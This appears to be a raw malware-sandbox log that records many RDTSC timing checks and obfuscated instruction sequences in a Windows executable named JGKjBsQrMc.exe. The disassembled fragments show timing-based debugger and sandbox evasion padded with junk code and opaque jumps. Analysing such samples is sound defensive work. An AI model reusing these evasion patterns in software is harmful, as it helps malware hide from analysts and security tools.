Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 752EA9 second address: 752EB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 pop eax 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 753445 second address: 753477 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FE1C0B69E48h 0x00000008 jmp 00007FE1C0B69E43h 0x0000000d popad 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 753477 second address: 75347D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 75347D second address: 753485 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 75B746 second address: 75B74F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 75B74F second address: 75B76D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop esi 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f jg 00007FE1C0B69E36h 0x00000015 jl 00007FE1C0B69E36h 0x0000001b push ebx 0x0000001c pop ebx 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 75B76D second address: 75B772 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 75B49E second address: 75B4A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007FE1C0B69E36h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 762BE2 second address: 762BE6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 762BE6 second address: 762BF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FE1C0B69E36h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 76A3C9 second address: 76A406 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C0EF51F1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jl 00007FE1C0EF5216h 0x0000000f push ebx 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 jmp 00007FE1C0EF51F8h 0x00000017 pop ebx 0x00000018 push eax 0x00000019 push edx 0x0000001a push edi 0x0000001b pop edi 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 76A406 second address: 76A40A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 76D552 second address: 76D56F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C0EF51EFh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d ja 00007FE1C0EF51E6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 76D115 second address: 76D142 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FE1C0B69E36h 0x00000008 jl 00007FE1C0B69E36h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 je 00007FE1C0B69E3Eh 0x00000016 pushad 0x00000017 popad 0x00000018 jbe 00007FE1C0B69E36h 0x0000001e pop esi 0x0000001f ja 00007FE1C0B69E44h 0x00000025 push eax 0x00000026 push edx 0x00000027 jp 00007FE1C0B69E36h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 76D28E second address: 76D292 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 76D292 second address: 76D2AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FE1C0B69E40h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 7755E9 second address: 7755ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 7755ED second address: 7755FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 786307 second address: 78630F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 78630F second address: 786317 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 786317 second address: 78631E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 78631E second address: 786338 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE1C0B69E40h 0x00000009 jo 00007FE1C0B69E36h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 786338 second address: 78633C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 784F8A second address: 784F8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 7854C6 second address: 7854E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE1C0EF51F4h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 7854E0 second address: 785501 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007FE1C0B69E49h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 7999F5 second address: 7999F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 7999F9 second address: 7999FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 7999FF second address: 799A07 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 799A07 second address: 799A0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 799A0B second address: 799A0F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 799A0F second address: 799A37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jne 00007FE1C0B69E42h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 push esi 0x00000014 pop esi 0x00000015 jno 00007FE1C0B69E36h 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 799A37 second address: 799A57 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C0EF51F8h 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 799A57 second address: 799A5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 799894 second address: 7998A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FE1C0EF51ECh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 7A07AB second address: 7A07AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 7A07AF second address: 7A07CA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C0EF51F7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 7A07CA second address: 7A07CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 7A07CF second address: 7A07F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 push edi 0x00000008 pushad 0x00000009 popad 0x0000000a pop edi 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e pushad 0x0000000f jmp 00007FE1C0EF51EDh 0x00000014 jc 00007FE1C0EF51E6h 0x0000001a pushad 0x0000001b popad 0x0000001c popad 0x0000001d push esi 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 7A07F7 second address: 7A0802 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 7A0802 second address: 7A0806 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 7A0806 second address: 7A0810 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FE1C0B69E36h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 7A0810 second address: 7A0819 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 7A0819 second address: 7A081F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 7A1F82 second address: 7A1FA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 jmp 00007FE1C0EF51F8h 0x0000000b pushad 0x0000000c popad 0x0000000d ja 00007FE1C0EF51E6h 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 7A1FA9 second address: 7A1FAF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 7A1FAF second address: 7A1FB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FE1C0EF51E6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 7A1FB9 second address: 7A1FBD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 7C7E33 second address: 7C7E3B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 7C7E3B second address: 7C7E3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 7C7E3F second address: 7C7E43 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 7C7E43 second address: 7C7E49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 7C8506 second address: 7C8514 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 7C8514 second address: 7C851A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 7C866B second address: 7C8671 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 7C8671 second address: 7C868F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FE1C0B69E49h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 7C868F second address: 7C8695 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 7C8695 second address: 7C869B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 7C869B second address: 7C869F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 7CA40E second address: 7CA414 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 7CA414 second address: 7CA430 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007FE1C0EF51F3h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 7CCFD0 second address: 7CD0AE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C0B69E45h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jmp 00007FE1C0B69E44h 0x00000010 jmp 00007FE1C0B69E48h 0x00000015 popad 0x00000016 nop 0x00000017 mov edx, dword ptr [ebp+1244FCADh] 0x0000001d push 00000004h 0x0000001f push 00000000h 0x00000021 push edx 0x00000022 call 00007FE1C0B69E38h 0x00000027 pop edx 0x00000028 mov dword ptr [esp+04h], edx 0x0000002c add dword ptr [esp+04h], 00000019h 0x00000034 inc edx 0x00000035 push edx 0x00000036 ret 0x00000037 pop edx 0x00000038 ret 0x00000039 call 00007FE1C0B69E39h 0x0000003e jmp 00007FE1C0B69E45h 0x00000043 push eax 0x00000044 js 00007FE1C0B69E3Eh 0x0000004a jbe 00007FE1C0B69E38h 0x00000050 push edx 0x00000051 pop edx 0x00000052 mov eax, dword ptr [esp+04h] 0x00000056 js 00007FE1C0B69E3Ch 0x0000005c pushad 0x0000005d push eax 0x0000005e pop eax 0x0000005f push edx 0x00000060 pop edx 0x00000061 popad 0x00000062 mov eax, dword ptr [eax] 0x00000064 pushad 0x00000065 pushad 0x00000066 jmp 00007FE1C0B69E41h 0x0000006b jmp 00007FE1C0B69E41h 0x00000070 popad 0x00000071 jc 00007FE1C0B69E3Ch 0x00000077 push eax 0x00000078 push edx 0x00000079 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 7CD0AE second address: 7CD0C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp+04h], eax 0x00000009 jc 00007FE1C0EF51F2h 0x0000000f jo 00007FE1C0EF51ECh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 7CD2DF second address: 7CD2E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 7CD2E3 second address: 7CD34C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edi 0x00000009 jne 00007FE1C0EF51E8h 0x0000000f pop edi 0x00000010 nop 0x00000011 push 00000000h 0x00000013 push esi 0x00000014 call 00007FE1C0EF51E8h 0x00000019 pop esi 0x0000001a mov dword ptr [esp+04h], esi 0x0000001e add dword ptr [esp+04h], 0000001Bh 0x00000026 inc esi 0x00000027 push esi 0x00000028 ret 0x00000029 pop esi 0x0000002a ret 0x0000002b xor dl, 00000005h 0x0000002e push dword ptr [ebp+122D39C1h] 0x00000034 push 00000000h 0x00000036 push esi 0x00000037 call 00007FE1C0EF51E8h 0x0000003c pop esi 0x0000003d mov dword ptr [esp+04h], esi 0x00000041 add dword ptr [esp+04h], 00000014h 0x00000049 inc esi 0x0000004a push esi 0x0000004b ret 0x0000004c pop esi 0x0000004d ret 0x0000004e call 00007FE1C0EF51E9h 0x00000053 push eax 0x00000054 push eax 0x00000055 push edx 0x00000056 push ecx 0x00000057 pop ecx 0x00000058 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 7CD34C second address: 7CD367 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a jmp 00007FE1C0B69E3Fh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 7CD367 second address: 7CD3A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007FE1C0EF51EFh 0x0000000b jbe 00007FE1C0EF51E6h 0x00000011 popad 0x00000012 popad 0x00000013 mov eax, dword ptr [esp+04h] 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FE1C0EF51F9h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 7CD3A3 second address: 7CD3CE instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a jmp 00007FE1C0B69E48h 0x0000000f mov dword ptr [esp+04h], eax 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4C000E5 second address: 4C000EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4C000EB second address: 4C000EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BE0E0D second address: 4BE0E28 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C0EF51F1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BE0E28 second address: 4BE0E2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BC00D4 second address: 4BC00E1 instructions: 0x00000000 rdtsc 0x00000002 mov ecx, ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 mov ebx, 23B1A710h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BC00E1 second address: 4BC011C instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FE1C0B69E49h 0x00000008 sbb ah, FFFFFF96h 0x0000000b jmp 00007FE1C0B69E41h 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 popad 0x00000014 xchg eax, ebp 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BC011C second address: 4BC0120 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BC0120 second address: 4BC0126 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BC0126 second address: 4BC013B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE1C0EF51F1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BC013B second address: 4BC0159 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C0B69E41h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BC0159 second address: 4BC015F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BC015F second address: 4BC0164 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BC0164 second address: 4BC018E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xchg eax, ebp 0x00000008 pushad 0x00000009 mov ah, 96h 0x0000000b popad 0x0000000c mov ebp, esp 0x0000000e jmp 00007FE1C0EF51EEh 0x00000013 push dword ptr [ebp+04h] 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 movsx edx, cx 0x0000001c mov cx, 5DB5h 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BC018E second address: 4BC01A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE1C0B69E3Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BC01A0 second address: 4BC01F6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push dword ptr [ebp+0Ch] 0x0000000b pushad 0x0000000c mov edx, 55ACEC20h 0x00000011 pushfd 0x00000012 jmp 00007FE1C0EF51F9h 0x00000017 xor eax, 42AD0726h 0x0000001d jmp 00007FE1C0EF51F1h 0x00000022 popfd 0x00000023 popad 0x00000024 push dword ptr [ebp+08h] 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007FE1C0EF51EDh 0x0000002e rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BC01F6 second address: 4BC01FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BC01FC second address: 4BC0200 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BE0B5C second address: 4BE0B62 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
